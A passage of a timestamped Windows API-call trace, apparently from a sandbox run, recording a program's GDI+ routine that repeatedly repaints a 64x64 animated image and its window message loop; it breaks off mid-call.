[0124.608] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.608] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6101018a) returned 0x0 [0124.608] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd5a0dbd) returned 0x0 [0124.608] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.608] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0124.608] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0124.608] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0124.608] GetSystemMetrics (nIndex=42) returned 0 [0124.609] CoTaskMemAlloc (cb=0x6) returned 0x4fff00 [0124.609] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff00, nMaxCount=1 | out: lpString="") returned 0 [0124.609] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff00) returned 0x0 [0124.609] CoTaskMemFree (pv=0x4fff00) [0124.609] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0124.609] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0124.609] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0124.609] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0124.609] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x6101018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0124.609] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.610] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6101018a) returned 0x0 [0124.610] SelectObject (hdc=0x6101018a, h=0x185000f) returned 0x1a05067e [0124.610] DeleteDC (hdc=0x6101018a) returned 1 [0124.610] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.610] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0124.610] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0124.610] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0124.610] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0124.610] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0124.610] WaitMessage () returned 1 [0124.820] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0124.820] IsWindowUnicode (hWnd=0x2031e) returned 1 [0124.820] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0124.820] TranslateMessage (lpMsg=0x15e910) returned 0 [0124.820] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0124.821] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0124.821] GetCurrentThreadId () returned 0xec0 [0124.821] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0124.821] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0124.821] IsWindowUnicode (hWnd=0x2031e) returned 1 [0124.821] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0124.821] TranslateMessage (lpMsg=0x15e910) returned 0 [0124.821] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0124.821] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0124.821] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0124.821] CreateCompatibleDC (hdc=0x1010b9d) returned 0x6201018a [0124.821] SelectObject (hdc=0x6201018a, h=0x1a05067e) returned 0x185000f [0124.822] GdipCreateFromHDC (hdc=0x6201018a, graphics=0x15daf0) returned 0x0 [0124.822] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0124.822] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0124.822] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0124.822] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0124.822] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0124.822] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1b70 [0124.822] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a1b70) returned 0x0 [0124.823] LocalFree (hMem=0x1e7a1b70) returned 0x0 [0124.823] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.823] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0124.823] GdipCreateRegion (region=0x15dc20) returned 0x0 [0124.823] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0124.823] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0124.823] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0124.823] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0124.823] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0124.823] GetSystemMetrics (nIndex=42) returned 0 [0124.823] CoTaskMemAlloc (cb=0x6) returned 0x4fff00 [0124.823] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff00, nMaxCount=1 | out: lpString="") returned 0 [0124.823] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff00) returned 0x0 [0124.823] CoTaskMemFree (pv=0x4fff00) [0124.823] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0124.823] GdipCreateRegion (region=0x15d710) returned 0x0 [0124.824] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0124.824] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0124.824] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0124.824] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0124.824] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1b70 [0124.824] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a1b70) returned 0x0 [0124.824] LocalFree (hMem=0x1e7a1b70) returned 0x0 [0124.824] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0124.824] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1b70 [0124.824] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a1b70) returned 0x0 [0124.825] LocalFree (hMem=0x1e7a1b70) returned 0x0 [0124.825] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.825] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0124.825] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0124.825] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0124.825] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0124.825] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.825] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0124.825] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0124.825] GetCurrentObject (hdc=0x6201018a, type=0x1) returned 0x1b00017 [0124.825] GetCurrentObject (hdc=0x6201018a, type=0x2) returned 0x1900010 [0124.826] GetCurrentObject (hdc=0x6201018a, type=0x7) returned 0x1a05067e [0124.826] GetCurrentObject (hdc=0x6201018a, type=0x6) returned 0x18a002e [0124.826] SaveDC (hdc=0x6201018a) returned 1 [0124.826] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3f040b8a [0124.826] GetClipRgn (hdc=0x6201018a, hrgn=0x3f040b8a) returned 0 [0124.826] SelectClipRgn (hdc=0x6201018a, hrgn=0x6f0407c3) returned 2 [0124.826] DeleteObject (ho=0x3f040b8a) returned 1 [0124.826] DeleteObject (ho=0x6f0407c3) returned 1 [0124.826] OffsetViewportOrgEx (in: hdc=0x6201018a, x=0, y=0, lppt=0x2778bb8 | out: lppt=0x2778bb8) returned 1 [0124.826] GetNearestColor (hdc=0x6201018a, color=0xffffff) returned 0xffffff [0124.826] CreateSolidBrush (color=0xffffff) returned 0x47100190 [0124.826] FillRect (hDC=0x6201018a, lprc=0x15d7c0, hbr=0x47100190) returned 1 [0124.826] DeleteObject (ho=0x47100190) returned 1 [0124.827] RestoreDC (hdc=0x6201018a, nSavedDC=-1) returned 1 [0124.827] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.827] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6201018a) returned 0x0 [0124.827] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd580dbd) returned 0x0 [0124.827] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.827] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0124.827] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0124.827] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0124.827] GetSystemMetrics (nIndex=42) returned 0 [0124.827] CoTaskMemAlloc (cb=0x6) returned 0x4fff00 [0124.827] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff00, nMaxCount=1 | out: lpString="") returned 0 [0124.827] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff00) returned 0x0 [0124.827] CoTaskMemFree (pv=0x4fff00) [0124.828] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x10) returned 0x0 [0124.831] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0124.832] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0124.832] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0124.832] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0124.832] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x6201018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0124.832] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.832] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6201018a) returned 0x0 [0124.832] SelectObject (hdc=0x6201018a, h=0x185000f) returned 0x1a05067e [0124.832] DeleteDC (hdc=0x6201018a) returned 1 [0124.832] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.832] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0124.832] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0124.832] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0124.833] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0124.833] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0124.833] WaitMessage () returned 1 [0125.089] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0125.089] IsWindowUnicode (hWnd=0x2031e) returned 1 [0125.089] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0125.089] TranslateMessage (lpMsg=0x15e910) returned 0 [0125.089] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0125.089] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0125.089] GetCurrentThreadId () returned 0xec0 [0125.090] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0125.090] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0125.090] IsWindowUnicode (hWnd=0x2031e) returned 1 [0125.090] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0125.090] TranslateMessage (lpMsg=0x15e910) returned 0 [0125.090] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0125.090] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0125.090] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0125.090] CreateCompatibleDC (hdc=0x1010b9d) returned 0x6301018a [0125.090] SelectObject (hdc=0x6301018a, h=0x1a05067e) returned 0x185000f [0125.090] GdipCreateFromHDC (hdc=0x6301018a, graphics=0x15daf0) returned 0x0 [0125.090] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0125.090] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0125.090] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0125.091] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0125.091] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0125.091] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1db0 [0125.091] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a1db0) returned 0x0 [0125.091] LocalFree (hMem=0x1e7a1db0) returned 0x0 [0125.091] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.091] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0125.091] GdipCreateRegion (region=0x15dc20) returned 0x0 [0125.092] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0125.092] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0125.092] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0125.092] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0125.092] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0125.092] GetSystemMetrics (nIndex=42) returned 0 [0125.092] CoTaskMemAlloc (cb=0x6) returned 0x4ffeb0 [0125.092] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffeb0, nMaxCount=1 | out: lpString="") returned 0 [0125.092] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffeb0) returned 0x0 [0125.092] CoTaskMemFree (pv=0x4ffeb0) [0125.092] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0125.092] GdipCreateRegion (region=0x15d710) returned 0x0 [0125.092] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0125.092] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0125.092] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0125.092] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0125.092] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1db0 [0125.092] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a1db0) returned 0x0 [0125.093] LocalFree (hMem=0x1e7a1db0) returned 0x0 [0125.093] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0125.093] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1db0 [0125.093] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a1db0) returned 0x0 [0125.094] LocalFree (hMem=0x1e7a1db0) returned 0x0 [0125.094] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.094] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0125.094] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0125.094] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0125.094] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0125.094] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.094] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0125.094] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0125.094] GetCurrentObject (hdc=0x6301018a, type=0x1) returned 0x1b00017 [0125.094] GetCurrentObject (hdc=0x6301018a, type=0x2) returned 0x1900010 [0125.094] GetCurrentObject (hdc=0x6301018a, type=0x7) returned 0x1a05067e [0125.094] GetCurrentObject (hdc=0x6301018a, type=0x6) returned 0x18a002e [0125.094] SaveDC (hdc=0x6301018a) returned 1 [0125.095] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x700407c3 [0125.095] GetClipRgn (hdc=0x6301018a, hrgn=0x700407c3) returned 0 [0125.095] SelectClipRgn (hdc=0x6301018a, hrgn=0x40040b8a) returned 2 [0125.095] DeleteObject (ho=0x700407c3) returned 1 [0125.095] DeleteObject (ho=0x40040b8a) returned 1 [0125.095] OffsetViewportOrgEx (in: hdc=0x6301018a, x=0, y=0, lppt=0x277a2d8 | out: lppt=0x277a2d8) returned 1 [0125.095] GetNearestColor (hdc=0x6301018a, color=0xffffff) returned 0xffffff [0125.095] CreateSolidBrush (color=0xffffff) returned 0x48100190 [0125.095] FillRect (hDC=0x6301018a, lprc=0x15d7c0, hbr=0x48100190) returned 1 [0125.095] DeleteObject (ho=0x48100190) returned 1 [0125.095] RestoreDC (hdc=0x6301018a, nSavedDC=-1) returned 1 [0125.095] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.095] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6301018a) returned 0x0 [0125.095] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd560dbd) returned 0x0 [0125.096] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.096] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0125.096] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0125.096] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0125.096] GetSystemMetrics (nIndex=42) returned 0 [0125.096] CoTaskMemAlloc (cb=0x6) returned 0x4ffeb0 [0125.096] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffeb0, nMaxCount=1 | out: lpString="") returned 0 [0125.096] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffeb0) returned 0x0 [0125.096] CoTaskMemFree (pv=0x4ffeb0) [0125.096] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0125.096] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0125.096] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0125.096] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0125.096] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x6301018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0125.096] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.096] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6301018a) returned 0x0 [0125.097] SelectObject (hdc=0x6301018a, h=0x185000f) returned 0x1a05067e [0125.097] DeleteDC (hdc=0x6301018a) returned 1 [0125.097] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.097] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0125.097] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0125.098] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0125.098] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0125.098] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0125.098] WaitMessage () returned 1 [0125.473] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0125.473] IsWindowUnicode (hWnd=0x2031e) returned 1 [0125.473] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0125.473] TranslateMessage (lpMsg=0x15e910) returned 0 [0125.473] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0125.474] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0125.474] GetCurrentThreadId () returned 0xec0 [0125.474] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0125.474] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0125.474] IsWindowUnicode (hWnd=0x2031e) returned 1 [0125.479] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0125.479] TranslateMessage (lpMsg=0x15e910) returned 0 [0125.479] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0125.479] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0125.479] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0125.479] CreateCompatibleDC (hdc=0x1010b9d) returned 0x6901018a [0125.479] SelectObject (hdc=0x6901018a, h=0x1a05067e) returned 0x185000f [0125.479] GdipCreateFromHDC (hdc=0x6901018a, graphics=0x15daf0) returned 0x0 [0125.479] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0125.480] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0125.480] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0125.480] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0125.480] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0125.480] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b3ae0 [0125.480] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b3ae0) returned 0x0 [0125.480] LocalFree (hMem=0x1e7b3ae0) returned 0x0 [0125.480] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.480] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0125.481] GdipCreateRegion (region=0x15dc20) returned 0x0 [0125.481] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0125.481] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0125.481] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0125.481] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0125.481] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0125.481] GetSystemMetrics (nIndex=42) returned 0 [0125.481] CoTaskMemAlloc (cb=0x6) returned 0x4ffeb0 [0125.481] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffeb0, nMaxCount=1 | out: lpString="") returned 0 [0125.481] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffeb0) returned 0x0 [0125.481] CoTaskMemFree (pv=0x4ffeb0) [0125.481] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0125.481] GdipCreateRegion (region=0x15d710) returned 0x0 [0125.481] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0125.481] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0125.481] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0125.481] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0125.482] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b3ae0 [0125.482] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b3ae0) returned 0x0 [0125.482] LocalFree (hMem=0x1e7b3ae0) returned 0x0 [0125.482] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0125.482] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b3ae0 [0125.482] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b3ae0) returned 0x0 [0125.482] LocalFree (hMem=0x1e7b3ae0) returned 0x0 [0125.483] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.483] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0125.483] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0125.483] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0125.483] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0125.483] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.483] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0125.483] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0125.483] GetCurrentObject (hdc=0x6901018a, type=0x1) returned 0x1b00017 [0125.483] GetCurrentObject (hdc=0x6901018a, type=0x2) returned 0x1900010 [0125.483] GetCurrentObject (hdc=0x6901018a, type=0x7) returned 0x1a05067e [0125.483] GetCurrentObject (hdc=0x6901018a, type=0x6) returned 0x18a002e [0125.483] SaveDC (hdc=0x6901018a) returned 1 [0125.483] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x41040b8a [0125.483] GetClipRgn (hdc=0x6901018a, hrgn=0x41040b8a) returned 0 [0125.484] SelectClipRgn (hdc=0x6901018a, hrgn=0x710407c3) returned 2 [0125.484] DeleteObject (ho=0x41040b8a) returned 1 [0125.484] DeleteObject (ho=0x710407c3) returned 1 [0125.484] OffsetViewportOrgEx (in: hdc=0x6901018a, x=0, y=0, lppt=0x277ba40 | out: lppt=0x277ba40) returned 1 [0125.484] GetNearestColor (hdc=0x6901018a, color=0xffffff) returned 0xffffff [0125.484] CreateSolidBrush (color=0xffffff) returned 0x49100190 [0125.484] FillRect (hDC=0x6901018a, lprc=0x15d7c0, hbr=0x49100190) returned 1 [0125.484] DeleteObject (ho=0x49100190) returned 1 [0125.484] RestoreDC (hdc=0x6901018a, nSavedDC=-1) returned 1 [0125.484] FindAtomW (lpString="GDI+Atom_3772_1") returned 